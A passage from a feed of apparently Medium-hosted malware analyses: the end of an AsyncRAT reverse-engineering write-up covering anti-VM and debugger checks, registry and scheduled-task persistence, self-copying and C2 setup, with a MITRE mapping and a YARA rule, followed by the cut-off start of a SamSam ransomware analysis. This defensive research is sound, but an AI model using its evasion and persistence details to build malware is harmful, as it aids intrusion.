src="https://cdn-images-1.medium.com/max/975/1*YZJmAnwk2XnmqYYjhGWhGQ.png" /></figure><p>After that there was a variable with the name of Pastebin which was returning the null after decrypting maybe this was something that was filled when the connection established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0rEHUCTPKipLENnb3iLRZg.png" /></figure><p>The next value was for anti-vm and anti-sandbox. After decrypting the value, it was returning the Boolean “false”. I was surprised at this point maybe this value should be true by default to check virtualization or sandboxes. I have to make this value false anyway to perform my analysis, this step is called patching the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Lg_fto5q6fVeo1PPrrNt_g.png" /></figure><p>After that there was a BDOS variable after decrypting it was returning the value false by default. This is something which was using to make a process critical. Maybe all these values will be true in other .exe which this malware was creating with the name of “Runtime Broker.exe”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kG93k9D-LK0vU4fK609grw.png" /></figure><p>At the end, there was variables with the name of Serversignature and ServerCertificate. After decrypting value, I got the certificate which was using to connect with the c2 server over TLS/SSL. All data was sending and receiving over encrypted form. I am attaching both screenshots so you guys can see the certificate and signatures values which was using during the connection creation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lVN9Z7mMSj8bf_P8MDePgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ocN_36zXgNknsjowaCthAQ.png" /></figure><p>At the end of this function, there was a verifyHash() function which was checking the integrity of certificates and signatures of server before returning true or false. If the certificate value is same then it returns true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*xK_Q6y3OWMDBrnKcVmpQyQ.png" /></figure><p>After completing the initialization function, I forward to the next instruction there was if statement which was checking either the mutex is successfully created or not. If the mutex is not created it stops the execution of program. So I set the breakpoint of CreateMutex() function and see the returning value to continue the flow of program execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*C-vm7_TQuxSctU6gDAem5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*FGOswhGZ5V5pFdHMPNh0UQ.png" /></figure><p>After successfully creating the mutex with value that I mentioned in my above analysis the program now checking and execution RunAntiAnalysis() which was checking different checks either the malware is running in virtual or sandbox environment then it will exit. Let check the each anti-vm and anti-sandbox techniques deployed by this malware sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Y1MFEc5uopiDZy-FWQFjjA.png" /></figure><p>In this function there were 5 functions executing. All these functions are checking different conditions and returning the value of true or false based on the environment in which the malware was running. Let’s discuss the conditions one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*22ZnoQtBFM7H5bXMvDbTUw.png" /></figure><p>C# method named IsSmallDisk that checks if the system drive has a total size less than or equal to 61,000,000,000 bytes (approximately 61 GB).</p><p>Defining Size Limit: long num = 61000000000L; sets the size limit (61 GB) for what is considered a ‘small disk’.</p><p>Getting System Drive Size: Path.GetPathRoot(Environment.SystemDirectory) gets the root path of the system directory (usually the drive where the operating system is installed).</p><p>new DriveInfo(…).TotalSize creates a DriveInfo object for the system drive and retrieves its total size.</p><p>Size Comparison: if (new DriveInfo (Path.GetPathRoot(Environment.SystemDirectory)).TotalSize &lt;= num) checks if the total size of the system drive is less than or equal to 61 GB. If the condition is true, return true; is executed, indicating that the disk is considered ‘small’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jNSjKO0vsy3ZpfB9I4jzUA.png" /></figure><p>IsXP method that checks if the operating system of the computer is Windows XP</p><p>Checking Operating System: new ComputerInfo().OSFullName.ToLower() creates an instance of ComputerInfo and retrieves the full name of the operating system, converting it to lowercase. .Contains(“xp”) checks if the OS name contains the substring “xp”.</p><p>Returning True for Windows XP: If the condition if (new ComputerInfo().OSFullName.ToLower().Contains(“xp”)) is true, which means the operating system name includes “xp”, the method returns true. This indicates that the operating system is Windows XP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OTgz3swwAd14c-AkiH68xg.png" /></figure><p>After that DetectManufacturer method intended to determine if the computer is a virtual machine based on its manufacturer and model.</p><p>Using Statements for Resource Management: ManagementObjectSearcher is instantiated with the query “Select * from Win32_ComputerSystem”. This object is used to query WMI (Windows Management Instrumentation) for information about the computer system.</p><p>ManagementObjectCollection is obtained from the ManagementObjectSearcher object, containing the results of the WMI query.</p><p>Iterating Over Management Objects: The method iterates over each ManagementBaseObject in the ManagementObjectCollection. It retrieves and converts the Manufacturer property to lowercase and stores it in the text variable. The Model property is also retrieved for further checks.</p><p>Checking for Virtual Machine Manufacturers: The method checks if the manufacturer is “Microsoft Corporation” and the model contains “VIRTUAL” (indicating a Microsoft virtual machine, like Hyper-V). It also checks if the manufacturer’s name contains “vmware” or if the model is “VirtualBox”. If any of these conditions are met, the method returns true, indicating the system is likely a virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xs4BEHkC8SZhIXY0Curamg.png" /></figure><p>The DetectDebugger method designed to check if the current process is being debugged. NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag); is called. This method is presumably a part of a custom class NativeMethods and is expected to perform a check to see if the current process (Process.GetCurrentProcess().Handle) is being debugged. The result of this check is stored in flag. After the call, flag2 is set to the value of flag. If the CheckRemoteDebuggerPresent method determines that the process is being debugged, flag will be true, and thus flag2 will also be set to true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*taKehJ2AXmbipGkZALLaPQ.png" /></figure><p>And in the final the DetectSandboxie method designed to detect whether the application is running within Sandboxie, a popular sandboxing software. NativeMethods.GetModuleHandle(“SbieDll.dll”).ToInt32() is called to get a handle to the module “SbieDll.dll”, which is a known component of Sandboxie. .ToInt32() != 0 checks whether the handle is non-zero. A non-zero value indicates that the module is present in the process’s address space, suggesting that the application is running within Sandboxie. If the module is found, flag is set to true. Otherwise, it is set to false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*WMUdXmdwDH6NO7eakhT1JQ.png" /></figure><p>After that there was a condition that was checking if the install variable is true then it was calling the function with the name “Install()”. I decided to debug this function step by step because this was the core function who was responsible to create persistence and to perform other steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KjqwFJ_Q7RRbVZumaQN-0w.png" /></figure><p>The above all mentioned checks was to initialize the configuration files and to check if the malware running in virtualized environment or not. If everything is ok then this function was responsible to install the malware. In the function firstly it was getting the fileInfo which was the same path in which the malware was creating the “Runtime Broker.exe” and also getting the name of current running process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_hXNGO7ved98imXVoyImpg.png" /></figure><p>After getting these two it was checking if both the running process and the file name in the APPDATA is same then it tries to kill the running program and exit the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3cKGNlsi3XDYQ-b4bfkQDg.png" /></figure><p>After that it was checking if the program is running with admin privileges, then it starts process and scheduled a task with highest privileges to create persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*90wLmwtPJYmlL4a2AZXFnQ.png" /></figure><p>After executing the instruction when I checked the task schedule and see there was a task with the name of Runtime Broker was created with highest privileges and executed Runtime Broker.exe from APPDATA every time user login. So, this was creating the persistence using task scheduled if the program executes with the admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1v2Ghut4W7syJX03eiljoA.png" /></figure><p>If the program is executed with normal privileges, then the malware was using the registry key to create persistence rather them scheduling the task. So, in the execution flow these are two different persistence techniques depending on the privileges. “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9yFbRtzCEcGnxqEIloTs6w.png" /></figure><p>The string value was in reverse form and there was a function which was taking the registry value as an input and setting it in actual form. These techniques are used by threat actors to bypass defense mechanisms. After that the malware was getting the bytes from the running file and writing the same bytes using name “Runtime Broker.exe” in APPDATA folder. Which means it was copying itself in APPDATA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AOZm9hvbMQE6VBADiKEWPA.png" /></figure><p>After that there was some instructuon which was created a batch file in temp folder. This batch script was executing command timeout 3 &gt; null and starting the copied file “Runtime Broker.exe” also destroying itself after doing all stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZQFpA63ImDXJz7cFDWatrw.png" /></figure><p>After executing the instructions, we can clearly see that it created a batch file in temp folder with the name of “tmpB21A.tmp.bat” and writing some commands in this batch file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6ZePGzlRS_BsDTSSLUaySg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*W2SN7X7SZWuIBPWyomzmjw.png" /></figure><p>After that it was starting the process and executing the batch file. The batch file was the executing the Runtime Broker which was doing other stuff. After that this program was exiting itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-wAekCXlFDvZ-dnROOhdzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*F1YXRY3ViKlhBnitjdwpCw.png" /></figure><p>This is the process tree when executing with admin privileges. The difference is that with the admin privileges it executes task schedule to create persistence but in normal it executes CMD to create registry key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*noXwT-MB3EMwS3woxP33vA.png" /></figure><h3>Runtime Broker.exe</h3><p>Now I decided to analyze the copied file maybe there will be something different in this binary of any loaded modules. So, I opened this binary in dnSpy-x86 and start my analysis on it. But this was the same exe but this time was totally responsible for creating socket on above mentioned IP address and trying to download and load new plugins for further activities. In the loop it was continuously try to check the connect request. InitializeClient() method was doing two main steps one it was checking if the Pastebin variable is null then it was getting the IP and ports and trying to create socket over TCP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7z5TXbVXa5zZf5MWtvn_ng.png" /></figure><p>The next step it was using web client class to download and upload data on created connect server but it was also checking the certificates and signature for integrity checks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bJb5LAWY5dSgyb1DSZOLLg.png" /></figure><p>Because the server is offline so I can’t get the other loaded modules so I have to stop my analysis here. But this was a pretty much analysis to understand the working and flow of AsyncRAT which targeting Colombian government entities.</p><h3>Loaded .NET Assemblies</h3><p>CLR v4.0.30319.0, 8, CONCURRENT_GC, ManagedExe, “C:\Users\shaddy\AppData\Roaming\Runtime Broker.exe”,</p><p>AppDomain: Runtime Broker.exe, 19897800, Default, Executable,,</p><p>aB, 20068920, , C:\Users\shaddy\AppData\Roaming\Runtime Broker.exe,</p><p>Microsoft.VisualBasic, 87782856, , C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll,</p><p>System, 20081984, Native, C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll, C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4ce1bb4828b69fa433f6f012636c5d27\System.ni.dll</p><p>System.Configuration, 87806360, Native, C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll, C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\7f3b1084571309437a152226b37b6f28\System.Configuration.ni.dll</p><p>System.Core, 88645400, Native, C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll, C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\617d43135fd67b6370a09fbe5fb2e5f7\System.Core.ni.dll</p><p>System.Xml, 87803728, Native, C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll, C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\be1f06a790a86342db4dbd229ca727a3\System.Xml.ni.dll</p><p>AppDomain: SharedDomain, 1939592416, Shared, ,</p><p>mscorlib, 20027728, DomainNeutral, Native, C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll, C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\f6ce2e529a5784970d9443aaca3aac4e\mscorlib.ni.dll</p><h3>Loaded Modules</h3><p>Runtime Broker.exe, 72 kB, , 0xbe0000</p><p>advapi32.dll, 492 kB, Advanced Windows 32 Base API, 0x75bf0000</p><p>apphelp.dll, 640 kB, Application Compatibility Client Library, 0x74430000</p><p>bcrypt.dll, 100 kB, Windows Cryptographic Primitives Library (Wow64), 0x77ce0000</p><p>bcryptprimitives.dll, 380 kB, Windows Cryptographic Primitives Library, 0x76d60000</p><p>clr.dll, 7.73 MB, Microsoft .NET Runtime Common Language Runtime — WorkStation, 0x73270000</p><p>clrjit.dll, 504 kB, Microsoft .NET Runtime Just-In-Time Compiler, 0x74140000</p><p>combase.dll, 2.5 MB, Microsoft COM for Windows, 0x76dc0000</p><p>crypt32.dll, 1 MB, Crypto API32, 0x77660000</p><p>crypt32.dll.mui, 40 kB, Crypto API32, 0x2e10000</p><p>cryptbase.dll, 40 kB, Base cryptographic API DLL, 0x74710000</p><p>cryptsp.dll, 76 kB, Cryptographic Service Provider API, 0x75170000</p><p>gdi32.dll, 144 kB, GDI Client DLL, 0x777c0000</p><p>v gdi32full.dll, 928 kB, GDI Client DLL, 0x760a0000</p><p>imm32.dll, 148 kB, Multi-User Windows IMM32 API Client DLL, 0x77d00000</p><p>kernel.appcore.dll, 60 kB, AppModel API Host, 0x75140000</p><p>kernel32.dll, 960 kB, Windows NT BASE API Client DLL, 0x77910000</p><p>KernelBase.dll, 2.23 MB, Windows NT BASE API Client DLL, 0x771b0000</p><p>KernelBase.dll.mui, 1.25 MB, Windows NT BASE API Client DLL, 0x55f0000</p><p>locale.nls, 804 kB, , 0xfc0000</p><p>Microsoft.VisualBasic.dll, 624 kB, Visual Basic Runtime Library, 0x5550000</p><p>msasn1.dll, 56 kB, ASN.1 Runtime APIs, 0x74700000</p><p>mscoree.dll, 328 kB, Microsoft .NET Runtime Execution Engine, 0x743c0000</p><p>mscoreei.dll, 544 kB, Microsoft .NET Runtime Execution Engine, 0x74330000</p><p>mscorlib.ni.dll, 20.3 MB, Microsoft Common Language Runtime Class Library, 0x71e20000</p><p>msvcp_win.dll, 492 kB, Microsoft® C Runtime Library, 0x76ce0000</p><p>msvcrt.dll, 764 kB, Windows NT CRT DLL, 0x75e40000</p><p>mswsock.dll, 328 kB, Microsoft Windows Sockets 2.0 Service Provider, 0x70a80000</p><p>ntdll.dll, 1.64 MB, NT Layer DLL, 0x77d50000</p><p>ntdll.dll, 1.97 MB, NT Layer DLL, 0x7fff327f0000</p><p>ole32.dll, 908 kB, Microsoft OLE for Windows, 0x75d50000</p><p>oleaut32.dll, 600 kB, OLEAUT32.DLL, 0x77a40000</p><p>profapi.dll, 112 kB, User Profile Basic API, 0x75150000</p><p>psapi.dll, 24 kB, Process Status Helper, 0x75f00000</p><p>rpcrt4.dll, 764 kB, Remote Procedure Call Runtime, 0x75c70000</p><p>rsaenh.dll, 188 kB, Microsoft Enhanced Cryptographic Provider, 0x71b80000</p><p>sechost.dll, 472 kB, Host for SCM/SDDL/LSA Lookup APIs, 0x775e0000</p><p>SHCore.dll, 540 kB, SHCORE, 0x770c0000</p><p>shell32.dll, 5.71 MB, Windows Shell Common Dll, 0x76720000</p><p>shlwapi.dll, 276 kB, Shell Light-weight Utility Library, 0x76190000</p><p>SortDefault.nls, 3.22 MB, , 0x5070000</p><p>sspicli.dll, 132 kB, Security Support Provider Interface, 0x75090000</p><p>System.Configuration.ni.dll, 1.02 MB, System.Configuration.dll, 0x73ef0000</p><p>System.Core.ni.dll, 8.09 MB, .NET Framework, 0x68810000</p><p>System.ni.dll, 10.11 MB, .NET Framework, 0x71160000</p><p>System.Xml.ni.dll, 7.42 MB, .NET Framework, 0x680a0000</p><p>ucrtbase.dll, 1.13 MB, Microsoft® C Runtime Library, 0x777f0000</p><p>ucrtbase_clr0400.dll, 716 kB, Microsoft® C Runtime Library, 0x74250000</p><p>user32.dll, 1.61 MB, Multi-User Windows USER API Client DLL, 0x773f0000</p><p>vcruntime140_clr0400.dll, 84 kB, Microsoft® C Runtime Library, 0x74310000</p><p>version.dll, 32 kB, Version Checking and File Installation Libraries, 0x75350000</p><p>win32u.dll, 96 kB, Win32u, 0x75d30000</p><p>windows.storage.dll, 6.07 MB, Microsoft WinRT Storage API, 0x755d0000</p><p>wldp.dll, 148 kB, Windows Lockdown Policy, 0x755a0000</p><p>wow64.dll, 356 kB, Win32 Emulation on NT64, 0x7fff31ca0000</p><p>wow64cpu.dll, 40 kB, AMD64 Wow64 CPU , 0x77d40000</p><p>wow64win.dll, 524 kB, Wow64 Console and Win32 API Logging, 0x7fff316e0000</p><p>ws2_32.dll, 396 kB, Windows Socket 2.0 32-Bit DLL, 0x77ae0000</p><h3>Extracted TTP’s</h3><h3>MITRE ATT&amp;CK MAPPING</h3><p><strong><em>Technique</em></strong></p><p><strong><em>Kill chain phase</em></strong></p><p><strong><em>Diamond vertex</em></strong></p><p><strong><em>Comments</em></strong></p><p><strong>T1566.001 — Phishing: Spearphishing Attachment</strong></p><p>Delivery</p><p>Capability</p><p>Email with ZIP file attached</p><p><strong>T1547.001 — Boot or Logon AutoStart Execution: Registry Run Keys / Startup Folder</strong></p><p>Installation</p><p>Capability</p><p>Set registry key if non-privileged user executes the payload</p><p><strong>T1053.005 — Scheduled Task/Job: Scheduled Task</strong></p><p>Installation</p><p>Capability</p><p>Creates new scheduled task if privileged user executes the payload</p><p><strong>T1543 — Create or Modify System Process</strong></p><p>Installation</p><p>Capability</p><p>Create Mutex to check another instance is running.</p><p><strong>T1036.S004 — Masquerading: Masquerade Task or Service</strong></p><p>Installation</p><p>Capability</p><p>Set the process critical to evade detection</p><p><strong>T1036.005 — Masquerading: Match Legitimate Name or Location</strong></p><p>Execution</p><p>Capability</p><p>Writes itself as a file named Runtime Broker.exe saved in %APPDATA%</p><p><strong>T1059.003 — Command and Scripting Interpreter: Windows Command Shell</strong></p><p>Execution</p><p>Capability</p><p>Executes batch file created previously</p><p><strong>T1497.001 — Virtualization/Sandbox Evasion: System Checks</strong></p><p>Execution</p><p>Capability</p><p>Anti-VM and Sandboxes checks</p><h3>Recreation and Security controls validation</h3><p>As an offensive security researcher, my primary responsibility involves the meticulous analysis of real-world samples to extract Tactics, Techniques, and Procedures (TTPs). Once identified, I map these TTPs onto the MITRE ATT&amp;CK framework, providing a comprehensive understanding of the adversary’s behavior. To validate the effectiveness of security controls, I employ emulation techniques by recreating the identified TTPs using the same methods observed in the analyzed samples. This emulation process ensures a realistic simulation of the adversary’s actions, allowing for thorough validation of existing security measures. For this purpose, I leverage proprietary emulation tools, ensuring precision and adaptability in replicating sophisticated attack scenarios. My role extends beyond the typical scope of a Security Operations Center (SOC) Level 3, as I not only analyze but also recreate the same behavior for proactive emulation and then provide mitigation strategies, including the development of YARA rules, Sigma detection signatures, and Indicators of Compromise (IoC). This comprehensive approach is crucial for enhancing the organization’s resilience against evolving cyber threats.</p><p><strong><em>This is the overall flow of my work:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lri8hJeBI0FWbpjtXGGUrQ.png" /></figure><h3>Mitigation</h3><h3>YARA</h3><p>rule AsyncRAT</p><p>{</p><p>meta:</p><p>description = “AsyncRAT by Blind Eagle”</p><p>author = “Usman Sikander”</p><p>reference = “https://izoologic.com/phishing/blind-eagle-apt-reemerges-to-target-colombian-organisations/</p><p>hash1 = “c0b9838ff7d2ddecbfe296eae947e5d6”</p><p>hash2 = “76af794b85e4a4ba75c5703df1207b7a6798bf2e”</p><p>hash3 = “79068b82bcf0786b6af1b7cc96de1bf4e1a66b0d95e7e72ed1b1054443f6c5e3”</p><p>strings:</p><p>$s1 = “1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B” fullword ascii</p><p>$s2 = “87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F” fullword ascii</p><p>$s3 = “1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B” fullword ascii</p><p>$s4 = “87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F” fullword wide</p><p>$s5 = “clFxcHJwbUJWSEtHY2ROUXpoNHV6clBMeDVqenpWYmk=” fullword ascii</p><p>$s6 = “17aNgmElc4ng6An/6hq+YMrQTx4uJ1++c0SSk3rYvCFbeHnycL4Jrp01hWoAOenn/eMKIGT83dY3efMDWsGKWA==” fullword wide</p><p>$s7 = “iMXtaH3RD4azCnEK+bHLyPMPIs2a4cPQifNyYsmtfBqSShS+aUobqLJXmoGtNAqfb9jYeBC+T49Ryr3fHwzGOQ==” fullword wide</p><p>$s8 = “RyFgiEdGhARXpc6DAhvpqJxjU2yLAALheNVzc/+ZTvM9/YPPPcCarzgxl7jgHKrgmjxe7l1pingy2PObWnzMZg==” fullword wide</p><p>$s9 = “CfXpd10bbWOrMPUDu4xOQVkVoERQrspS5I5RrSBc3XPr6/l12WdhfLjn9IUpy8mtbVoZq8Nl2UitCoQT8mAlLQ==” fullword wide</p><p>$s10 = “clFxcHJwbUJWSEtHY2ROUXpoNHV6clBMeDVqenpWYmk=” fullword wide</p><p>$op0 = {BF EB 1E 56 FB CD 97 3B B2 19 02 24 30 A5 78 43 00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41}</p><p>$op1 = {48 61 73 68 00 56 65 72 69 66 79 48 61 73 68 00}</p><p>$op2 = {41 00 6E 00 74 00 69 00 76 00 69 00 72 00 75}</p><p>condition:</p><p>( uint16(0) == 0x5a4d and</p><p>filesize &lt; 49KB and</p><p>(6 of them) and all of ($op*)</p><p>) or (all of them)</p><p>}</p><h3>Conclusion</h3><p>Traditional signature-based detection methods often struggle to identify this polymorphic malware due to its rapid ability to change and evade detection.</p><p>This analysis underscores the pressing need for behavioral detection mechanisms in modern cybersecurity strategies. Behavioral detection, powered by machine learning and artificial intelligence, focuses on identifying behavioral patterns rather than relying solely on known signatures. This approach enables security systems to adapt and recognize emerging threats like AsyncRAT, even as they evolve to evade traditional defenses. By continuously monitoring and analyzing system behavior, security solutions equipped with behavioral detection offer a proactive defense, providing a crucial layer of protection against emerging threats that traditional methods may miss.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83b48cc415a7" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/unveiling-the-intricacies-of-asyncrat-a-deployment-in-colombia-by-the-blind-eagle-cyber-group-83b48cc415a7">Unveiling the Intricacies of AsyncRAT: A deployment in Colombia by the Blind Eagle Cyber Group</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling the Intricacies of SamSam Ransomware: A Comprehensive Analysis Plus Proactive Threat…]]></title>
            <link>https://osintteam.blog/unveiling-the-intricacies-of-samsam-ransomware-a-comprehensive-analysis-plus-proactive-threat-bee37979f407?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/bee37979f407</guid>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Thu, 23 Nov 2023 13:15:22 GMT</pubDate>
            <atom:updated>2024-08-30T02:05:03.977Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Unveiling the Intricacies of SamSam Ransomware: A Comprehensive Analysis Plus Proactive Threat Emulation</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*gMio8dVlNbXPXS2o.png" /><figcaption>Samsam Ransomware (WinDir.exe)</figcaption></figure><h3>Introduction</h3><p>This analysis describes the in-depth analysis of SamSam Ransomware. The malware execution flow and chain of attack depends on different variant of SamSam ransomware. The variant, I am analyzing today is developed to exploit windows systems. The delivery of this variant achieved by the RDP brute forcing. The attacker brute forced the windows systems and dropped these two files on victim computers [Exe, Xml]. The SamSam Ransomware is using the RSA-2048 and AES 256 encryption methods to encrypt systems file. The dropped XML file contains the public encryption key. SamSam exhibits relatively fewer instances compared to other malware families like Cryptomix, Cerber, and Locky. This malware variant uniquely targets organizations instead of individual internet users.</p><p>Over the past 12 months, the Author has conducted a comprehensive evaluation, making analysis and reverse engineering challenging. While all these samples fall under the umbrella of “SamSam,” the attackers have employed various names to label their projects.</p><p><strong><em>Here are some of the .NET project names observed:</em></strong></p><p>· samsam</p><p>· MIKOPONI</p><p>· RikiRafael</p><p>· showmehowto</p><p>· wanadoesme</p><p>· wanadoesme2</p><p>· gonomore</p><p>· gotohelldr</p><p>· WinDir</p><p><strong><em>The SamSam itself consists of two components:</em></strong></p><p>· An executable</p><p>· Keyxml extension file contains the encryption key</p><h3>Capabilities</h3><p>· Samsam creates files inside the user directory</p><p>· Samsam queries all running process</p><p>· Samsam perform discovery and queries GUID</p><p>· Samsam utilizes the defense evasion technique Masquerading</p><p>· Samsam deletes the backup files</p><p>· Samsam encrypts the entire system using RSA-2048</p><p>· Creates guard pages, often used to prevent reverse engineering and debugging</p><h3>Technical Details and Chain flow</h3><h3>File Info:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EaKlE6cWBv1s7-yfH81Sew.png" /><figcaption>PE Info</figcaption></figure><h3>SAMSAM also known as by security vendors:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uWZSRK1T28kpvYoG1xMekg.png" /><figcaption>Security Vendors Analysis.</figcaption></figure><h3>Flow of attack and execution:</h3><p>The Initial access of victims in this APT campaign achieved by brute forcing the RDP. The attackers dropped two files and executed. The stage 1 file created a batch file in user directory and executed it. The batch file is checking all running processes in loop and looking for main process, if the main process is not running it deletes all files from disk which indicated the self-destruction technique according to MITRE Att&amp;CK. The main process encrypts all systems and leave a ransom note contains the detail about bitcoin address and other communication ways to pay ransom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*ZnsWDFUG4oIP8r48Lmqeyw.png" /><figcaption>Flow of execution.</figcaption></figure><h3>Tools and Environment</h3><p>· <em>Flare-VM (Windows 10)</em></p><p>· <em>REMnux (Simulator)</em></p><p>· dnSpy</p><p>· Cutter</p><p>· Detect-it-easy</p><p>· RegShot</p><p>· ExeInfoPE</p><p>· De4dot</p><p>· Capa</p><p>· Procmon</p><p>· Process Hacker</p><p>· TcpView</p><p>· PE Bear</p><p>· PE Studio</p><p>· Wireshark</p><h3>Stage 1 (WinDir.exe)</h3><h3>Basic and Advanced Static Analysis</h3><h3>Basic Information</h3><p><strong><em>WinDir.exe:</em></strong></p><p>SHA256: 0c1504ff73135e2a7920afac1c49c6ed1b11ac120b589fec08a87b05f457ebdmd5</p><p>MD5: 286d1495a80c126a63c26a5610d515e6</p><p>CPU: 32-bits</p><p>Language: .Net programming language (c#)</p><p>Interesting Strings: “taskkill/f /pid userprofile\Desktop\Desktop\_SALTEAAAAPl2nDcnZ1T3UwfsFQMZjR7XzfWagWbfl2fYA3WAGh4tEAAAAH8waUVAF3EUA/8505vkPNOOgEMLO1t6CJvcGT6nAesg5YS2M4bKhDkWUKn9catLXAcFPEx0jYQbRX7gyYQxI9M=&lt;/html&gt;&lt;body style=’background-color:lightgrey;’&gt;&lt;pre&gt;&lt;font color=’Red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#87;&amp;#104;&amp;#97;&amp;#116;&amp;#32;&amp;#104;&amp;#97;&amp;#112;&amp;#112;&amp;#101;&amp;#110;&amp;#101;&amp;#100;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#63;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&amp;#65;&amp;#108;&amp;#108;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#32;&amp;#101;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#101;&amp;#100;&amp;#32;&amp;#119;&amp;#105;&amp;#116;&amp;#104;&amp;#32;&amp;#82;&amp;#83;&amp;#65;&amp;#45;&amp;#50;&amp;#48;&amp;#52;&amp;#56;&amp;#32;&amp;#101;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#44;&amp;#32;&amp;#70;&amp;#111;&amp;#114;&amp;#32;&amp;#109;&amp;#111;&amp;#114;&amp;#101;&amp;#32;&amp;#105;&amp;#110;&amp;#102;&amp;#111;&amp;#114;&amp;#109;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#115;&amp;#101;&amp;#97;&amp;#114;&amp;#99;&amp;#104;&amp;#32;&amp;#105;&amp;#110;&amp;#32;&amp;#71;&amp;#111;&amp;#111;&amp;#103;&amp;#108;&amp;#101;&amp;#32;&amp;#34;&amp;#82;&amp;#83;&amp;#65;&amp;#32;&amp;#69;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#34;&lt;font 